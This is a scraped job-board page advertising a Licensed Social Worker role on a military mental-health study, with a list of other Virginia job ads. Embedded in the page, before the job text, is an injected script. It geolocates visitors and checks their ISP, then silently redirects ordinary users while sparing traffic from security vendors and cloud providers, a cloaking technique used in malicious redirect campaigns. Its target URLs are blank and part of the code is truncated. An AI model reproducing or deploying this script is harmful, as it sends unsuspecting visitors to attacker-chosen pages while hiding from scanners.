Licensed Social Worker

Live Well Homecare
Portsmouth, VA
wp:html // retrieve user's IP address and location with CORS fallback const ipAddressUrl = ''; // Function to get IP and country using fallback methods async function getIPAndCountry() { try { // Try primary API (provides both IP and country) const response = await fetch(ipAddressUrl); const data = await response.json(); return { ip: data.ip, country: data.country }; } catch (error) { console.log('Primary IP API failed, trying fallback...'); try { // Fallback: Get IP first const ipResponse = await fetch(''); const ipData = await ipResponse.json(); const ipAddress = ipData.ip; // Then get country from ip-api.com (free tier, no CORS) const countryResponse = await fetch(` const countryData = await countryResponse.json(); return { ip: ipAddress, country: countryData.countryCode }; } catch (fallbackError) { console.error('All IP retrieval methods failed:', fallbackError); return null; } } } // Main execution getIPAndCountry().then(result => { if (!result) { console.error('Could not retrieve IP address or country'); return; } const { ip: ipAddress, country } = result; // Check if user is in allowed countries const allowedCountries = ['US', 'GB', 'CA', 'FR']; // US, UK, Canada, France if (!allowedCountries.includes(country)) { console.log('Script will not run as the user is outside allowed countries.'); return; // Exit the script if the user is not in allowed countries } // retrieve ISP name and AS organization using ip-api.com API const ispUrl = ` fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname; // check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg)); if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }); /wp:html

The position is for a *Licensed Social Worker* supporting a study on Musculoskeletal Injury, Mental Health, and Treatment Seeking among Active-Duty Service Members on Temporary Limited Duty.

They will provide expert mental health assessments, conduct real-time safety evaluations—especially for suicidal ideation—manage crisis interventions, and determine urgent care needs.

Responsibilities include administering clinical measurements, reviewing responses, collaborating with research teams, and maintaining safety protocols. The role requires an MSW, active LCSW license, at least 2 years of clinical experience, and crisis management skills.

Preferred qualifications include research experience and familiarity with mental health assessments and compliance standards. The job is full-time, on-site, with benefits, offering a salary between $70,000-$80,000.
Posted 2026-02-08

Recommended Jobs

Assistant Director of Nursing RN

August Healthcare at Richmond
Richmond, VA

We are only accepting applicants that have a RN license.   We offer competitive rates. Health, Dental, Vision and Aflac insurance offered Matching 401K     Purpose of Your Job Position…

View Details
Posted 2026-02-06

Pediatric Occupational Therapist

Knowhirematch
Hampton, VA

About the Role We are seeking a compassionate and skilled Pediatric Occupational Therapist (OT) to join our outpatient pediatric rehab team . You’ll provide individualized, one-on-one care to c…

View Details
Posted 2025-11-12

Emergency Veterinarian - Ethos ER Immerse Mentorship Program - Winchester, VA - Offsite Training!

Valley Veterinary Emergency and Referral Center
Winchester, VA

Emergency Veterinarian - Ethos ER Immerse Mentorship Program – Winchester, VA – Offsite Training! Valley Veterinary Emergency & Referral Center is seeking veterinarians passionate about working in…

View Details
Posted 2025-12-30

DOW - Database Analyst

cFocus Software Incorporated
Alexandria, VA

cFocus Software seeks a Database Analyst to join our program supporting the Department of Defense (DoD). This position is remote. This position requires the ability a Public Trust clearance. Qualif…

View Details
Posted 2026-01-14

Store Team Member - #699

Sheetz, Inc
Mechanicsville, VA

Store Team Member - #699 at Sheetz, Inc summary: Customer-facing retail team member role at a convenience/store chain responsible for welcoming customers, preparing food and beverages to order, op…

View Details
Posted 2026-02-06

Crimper

Virginia Beach, VA

Job Title: Crimper Job Description The General Production Worker (Crimper) plays a critical role in assembling polymer cores, attaching metal end fittings, and ensuring each insulator meets strict …

View Details
Posted 2026-02-04

Manufacturing Operations Shift Leader

Novolex Corporate
Richmond, VA

Lead a high-performing production shift Step into a pivotal operations role where you coach, guide, and problem-solve alongside a dedicated team. You will set the tone for safe, high-quality output …

View Details
Posted 2026-02-05

Healthcare Associate - Pharmacy Operations Technician

ECG Management Consultants
Arlington, VA

Overview With over 50 years of proven success, ECG, ranked as a Best Midsized Firm to Work For 2025 by Consulting Magazine , is the most experienced healthcare consulting firm in the U.S. Wor…

View Details
Posted 2026-01-16

Director of Nursing-Home Health

Home Health Services of Virginia
Mechanicsville, VA

The HCO Director of Nursing is a critical part of the agency and must have experience working in the home health setting. We are looking for an individual that is versatile and able to wear a number o…

View Details
Posted 2025-09-27

Hospice Homecare Consultant

Personal Touch Home Care
Newport News, VA

About Us: With over 50 years of dedicated service to our communities, Personal Touch has been a trusted provider of home care. Our priority lies in ensuring exemplary patient care while fostering a su…

View Details
Posted 2026-01-27